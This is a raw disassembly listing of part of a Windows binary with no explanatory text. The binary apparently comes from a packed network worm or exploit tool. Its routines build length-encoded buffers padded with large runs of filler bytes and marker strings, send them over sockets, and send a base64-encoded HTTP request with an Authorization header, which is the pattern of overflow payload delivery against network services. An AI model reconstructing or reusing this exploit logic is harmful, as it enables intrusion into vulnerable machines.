		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40CB34	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CB6E	proc near		; CODE XREF: sub_40CC68+18p
					; sub_40CCE2+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40CBBA
		push	edi
		push	0
		push	esi
		call	sub_41BF70
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_41CD20
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_41CD20
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_40CBBA:				; CODE XREF: sub_40CB6E+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_40CB6E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CBC3	proc near		; CODE XREF: sub_40CC68+5Ep
					; sub_40CC68+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40CBD3
		push	eax
		call	sub_41BA91
		pop	ecx


loc_40CBD3:				; CODE XREF: sub_40CBC3+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_40CBC3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CBDC	proc near		; CODE XREF: sub_40CC68+20p
					; sub_40CD43+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_40CC09
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_41BEB5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40CC0D


loc_40CC09:				; CODE XREF: sub_40CBDC+Dj
		xor	al, al
		jmp	short loc_40CC64
; ---------------------------------------------------------------------------


loc_40CC0D:				; CODE XREF: sub_40CBDC+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_41BF70
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_40CC32
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_40CC4C
; ---------------------------------------------------------------------------


loc_40CC32:				; CODE XREF: sub_40CBDC+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]


loc_40CC4C:				; CODE XREF: sub_40CBDC+54j
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_41BA91
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_40CC64:				; CODE XREF: sub_40CBDC+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40CBDC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CC68	proc near		; CODE XREF: sub_40CD9E+89p
					; sub_40CD9E+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset word_4CB89C
		call	sub_40CB6E
		lea	ecx, [ebp+var_8]
		call	sub_40CBDC
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_41BEB5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40CCA2
		xor	al, al
		jmp	short loc_40CCDE
; ---------------------------------------------------------------------------


loc_40CCA2:				; CODE XREF: sub_40CC68+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_41BF70
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_41CD20
		add	esp, 18h
		mov	ecx, esi
		call	sub_40CBC3
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_40CBC3
		mov	al, 1


loc_40CCDE:				; CODE XREF: sub_40CC68+38j
		pop	edi
		pop	esi
		leave
		retn
sub_40CC68	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CCE2	proc near		; CODE XREF: sub_40CD16+14p
					; sub_40CD33+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_40CB6E
		mov	ecx, esi
		call	sub_40CBC3
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_40CCE2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CD16	proc near		; CODE XREF: sub_40CD9E+F0p
					; sub_40CD9E+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41B9C0
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40CCE2
		pop	esi
		retn	4
sub_40CD16	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CD33	proc near		; CODE XREF: sub_40CD7F+Bp
					; sub_40CD9E+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40CCE2
		retn	8
sub_40CD33	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CD43	proc near		; CODE XREF: sub_40CD7F+16p
					; sub_40CD9E+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_40CBDC
		test	al, al
		jz	short loc_40CD7C
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	offset dword_42CC88
		call	sub_40CB6E
		mov	ecx, esi
		call	sub_40CBC3
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_40CD7C:				; CODE XREF: sub_40CD43+Fj
		pop	esi
		leave
		retn
sub_40CD43	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CD7F	proc near		; CODE XREF: sub_40CD9E+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40CD33
		test	al, al
		jz	short loc_40CD9A
		mov	ecx, esi
		call	sub_40CD43


loc_40CD9A:				; CODE XREF: sub_40CD7F+12j
		pop	esi
		retn	8
sub_40CD7F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CD9E	proc near		; CODE XREF: .packed:0040D625p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_40CB2A
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_40D0F2
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_40D0F2
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_40CB2A
		lea	ecx, [ebp+var_20]
		call	sub_40CB2A
		lea	ecx, [ebp+var_50]
		call	sub_40CB2A
		lea	ecx, [ebp+var_18]
		call	sub_40CB2A
		lea	ecx, [ebp+var_40]
		call	sub_40CB2A
		lea	ecx, [ebp+var_38]
		call	sub_40CB2A
		lea	ecx, [ebp+var_28]
		call	sub_40CB2A
		push	4
		push	offset dword_432038
		lea	ecx, [ebp+var_30]
		call	sub_40CCE2
		push	3
		push	offset dword_432040
		lea	ecx, [ebp+var_30]
		call	sub_40CCE2
		lea	ecx, [ebp+var_30]
		call	sub_40CC68
		lea	ecx, [ebp+var_30]
		call	sub_40CD43
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "BBBB"
		call	sub_40CCE2
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_40CCE2
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40CCE2
		lea	ecx, [ebp+var_20]
		call	sub_40CC68
		push	offset loc_4323BC
		lea	ecx, [ebp+var_50]
		call	sub_40CD16
		lea	ecx, [ebp+var_50]
		call	sub_40CC68
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_40CB34
		lea	ecx, [ebp+var_58]
		call	sub_40CC68
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_40CD7F
		lea	ecx, [ebp+var_58]
		call	sub_40CBC3
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_40CD16
		push	4
		push	offset dword_432044
		lea	ecx, [ebp+var_18]
		call	sub_40CCE2
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_40CCE2
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_40CCE2
		lea	ecx, [ebp+var_18]
		call	sub_40CC68
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_40CD33
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_40CD33
		lea	ecx, [ebp+var_40]
		call	sub_40CD43
		lea	ecx, [ebp+var_18]
		call	sub_40CBC3
		lea	ecx, [ebp+var_50]
		call	sub_40CBC3
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_40CD33
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_40CD33
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_40CD33
		lea	ecx, [ebp+var_38]
		call	sub_40CD43
		lea	ecx, [ebp+var_20]
		call	sub_40CBC3
		lea	ecx, [ebp+var_30]
		call	sub_40CBC3
		lea	ecx, [ebp+var_40]
		call	sub_40CBC3
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_40CCE2
		lea	ecx, [ebp+var_28]
		call	sub_40CC68
		push	2
		push	offset dword_4323B0
		lea	ecx, [ebp+var_28]
		call	sub_40CCE2
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_40CD33
		lea	ecx, [ebp+var_28]
		call	sub_40CD43
		lea	ecx, [ebp+var_38]
		call	sub_40CBC3
		lea	ecx, [ebp+var_10]
		call	sub_40CB2A
		lea	ecx, [ebp+var_8]
		call	sub_40CB2A
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_40CD33
		lea	ecx, [ebp+var_10]
		call	sub_40CBDC
		lea	ecx, [ebp+var_28]
		call	sub_40CBC3
		push	offset dword_4323AC
		lea	ecx, [ebp+var_8]
		call	sub_40CD16
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CD33
		lea	ecx, [ebp+var_8]
		call	sub_40CBDC
		lea	ecx, [ebp+var_10]
		call	sub_40CBC3
		push	offset dword_4323A8
		lea	ecx, [ebp+var_10]
		call	sub_40CD16
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_40CD33
		lea	ecx, [ebp+var_10]
		call	sub_40CBDC
		lea	ecx, [ebp+var_8]
		call	sub_40CBC3
		push	offset dword_43239C
		lea	ecx, [ebp+var_8]
		call	sub_40CD16
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CD33
		lea	ecx, [ebp+var_8]
		call	sub_40CBDC
		lea	ecx, [ebp+var_10]
		call	sub_40CBC3
		push	(offset	loc_432397+1)
		lea	ecx, [ebp+var_48]
		call	sub_40CD16
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_40CD33
		lea	ecx, [ebp+var_8]
		call	sub_40CBC3
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_40D100
; ---------------------------------------------------------------------------


loc_40D0F2:				; CODE XREF: sub_40CD9E+1Bj
					; sub_40CD9E+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx


loc_40D100:				; CODE XREF: sub_40CD9E+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_40CD9E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D104	proc near		; CODE XREF: sub_40D1C8+A1p
					; sub_40D1C8+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		call	dword_42720C	; select
		cmp	eax, edi
		jnz	short loc_40D16B
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_426350	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_40D16F


loc_40D16B:				; CODE XREF: sub_40D104+54j
		xor	eax, eax
		jmp	short loc_40D17F
; ---------------------------------------------------------------------------


loc_40D16F:				; CODE XREF: sub_40D104+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_4CB9FC	; recv


loc_40D17F:				; CODE XREF: sub_40D104+69j
		pop	edi
		pop	esi
		leave
		retn
sub_40D104	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D183	proc near		; CODE XREF: sub_40D1C8+81p
					; sub_40D1C8+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_4CB9E0	; htonl
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA34	; send
		cmp	eax, 4
		jz	short loc_40D1AD
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D1AD:				; CODE XREF: sub_40D183+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4CBA34	; send
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_40D183	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D1C8	proc near		; CODE XREF: sub_40D2A2+48p
					; .packed:0040D716p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_40D1F1
		xor	al, al
		jmp	loc_40D29D
; ---------------------------------------------------------------------------


loc_40D1F1:				; CODE XREF: sub_40D1C8+20j
		push	ebx
		push	0
		push	esi
		call	sub_41BF70
		push	2Fh
		push	offset dword_4320D4
		push	esi
		call	sub_41CD20
		push	8
		lea	eax, [esi+31h]
		push	offset dword_432104
		push	eax
		mov	[esi+2Fh], di
		call	sub_41CD20
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_41CD20
		push	6
		add	ebx, edi
		push	offset dword_4CE6FC
		push	ebx
		call	sub_41CD20
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_43204C
		push	ebx
		call	sub_40D183
		add	esp, 48h
		test	al, al
		jnz	short loc_40D259


loc_40D255:				; CODE XREF: sub_40D1C8+B5j
		xor	bl, bl
		jmp	short loc_40D294
; ---------------------------------------------------------------------------


loc_40D259:				; CODE XREF: sub_40D1C8+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40D104
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_40D183
		add	esp, 1Ch
		test	al, al
		jz	short loc_40D255
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40D104
		add	esp, 10h
		mov	bl, 1


loc_40D294:				; CODE XREF: sub_40D1C8+8Fj
		push	esi
		call	sub_41BA91
		pop	ecx
		mov	al, bl


loc_40D29D:				; CODE XREF: sub_40D1C8+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D1C8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D2A2	proc near		; CODE XREF: .packed:0040D6FCp

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_432110
		push	[ebp+arg_0]
		call	dword_427208	; send
		cmp	eax, 48h
		jnz	short loc_40D2DD
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_40D104
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D2DD
		cmp	[ebp+var_20], 82h
		jz	short loc_40D2E1


loc_40D2DD:				; CODE XREF: sub_40D2A2+1Bj
					; sub_40D2A2+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D2E1:				; CODE XREF: sub_40D2A2+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D1C8
		add	esp, 0Ch
		leave
		retn
sub_40D2A2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D2F4	proc near		; CODE XREF: sub_40D340+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	dbl_427670
		call	sub_41D174
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	dbl_427668
		fstp	[esp+10h+var_10]
		call	sub_41D055
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_41D174
		inc	eax
		leave
		retn
sub_40D2F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D340	proc near		; CODE XREF: sub_40D4E2+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_426AA7
		call	sub_41D640
		sub	esp, 2Ch
		mov	al, [ebp+13h]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp-38h]
		push	edi
		mov	[ebp-20h], edi
		mov	[ebp-38h], al
		call	sub_40D977
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp-4], ebx
		call	sub_40D2F4
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_40D382
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_40D8F2


loc_40D382:				; CODE XREF: sub_40D340+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_40D49F
		mov	ebx, [ebp+10h]


loc_40D391:				; CODE XREF: sub_40D340+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_40D39B
		push	3
		jmp	short loc_40D3AD
; ---------------------------------------------------------------------------


loc_40D39B:				; CODE XREF: sub_40D340+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_40D3A5
		push	2
		jmp	short loc_40D3AD
; ---------------------------------------------------------------------------


loc_40D3A5:				; CODE XREF: sub_40D340+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_40D3AE
		push	1


loc_40D3AD:				; CODE XREF: sub_40D340+59j
					; sub_40D340+63j
		pop	ebx


loc_40D3AE:				; CODE XREF: sub_40D340+69j
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	dbl_427680
		fstp	[esp+40h+var_40]
		call	sub_41D19B
		pop	ecx
		pop	ecx
		call	sub_41D174
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_40D3ED
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi


loc_40D3ED:				; CODE XREF: sub_40D340+93j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_40D45B
		add	[ebp-18h], eax


loc_40D43F:				; CODE XREF: sub_40D340+119j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, byte_43215C[eax]
		push	eax
		push	1
		call	sub_40D774
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_40D43F


loc_40D45B:				; CODE XREF: sub_40D340+FAj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_40D479
		push	dword ptr [ebp+14h]
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_40D7CD
		mov	[ebp-18h], edi


loc_40D479:				; CODE XREF: sub_40D340+11Fj
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_40D493
		sub	esi, [ebp-1Ch]


loc_40D484:				; CODE XREF: sub_40D340+151j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_40D774
		dec	esi
		jnz	short loc_40D484


loc_40D493:				; CODE XREF: sub_40D340+13Fj
		cmp	[ebp+10h], edi
		ja	loc_40D391
		push	1
		pop	ebx


loc_40D49F:				; CODE XREF: sub_40D340+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D977
		push	dword_427678
		lea	eax, [ebp-38h]
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_40D824
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_40D977
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D340	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D4E2	proc near		; CODE XREF: .packed:0040D6DFp
		mov	eax, offset loc_426AC4
		call	sub_41D640
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset byte_43DB98
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_40D340
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_41BEB5
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_40D52C
		xor	bl, bl
		jmp	short loc_40D570
; ---------------------------------------------------------------------------


loc_40D52C:				; CODE XREF: sub_40D4E2+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_427688
		cmp	ecx, ebx
		jnz	short loc_40D53A
		mov	ecx, eax


loc_40D53A:				; CODE XREF: sub_40D4E2+54j
		cmp	[ebp+18h], ebx
		jz	short loc_40D542
		mov	eax, [ebp+18h]


loc_40D542:				; CODE XREF: sub_40D4E2+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_41C360
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_4CBA34	; send
		cmp	eax, esi
		jz	short loc_40D567
		xor	bl, bl
		jmp	short loc_40D569
; ---------------------------------------------------------------------------


loc_40D567:				; CODE XREF: sub_40D4E2+7Fj
		mov	bl, 1


loc_40D569:				; CODE XREF: sub_40D4E2+83j
		push	edi
		call	sub_41BA91
		pop	ecx


loc_40D570:				; CODE XREF: sub_40D4E2+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_40D977
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_40D977
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D4E2	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		and	byte ptr [ebp-420h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-41Fh]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-420h]
		push	offset sub_432308
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		mov	eax, offset byte_429110
		push	eax
		push	eax
		movzx	eax, word ptr dword_4CB720
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40AA06
		pop	ecx
		push	eax
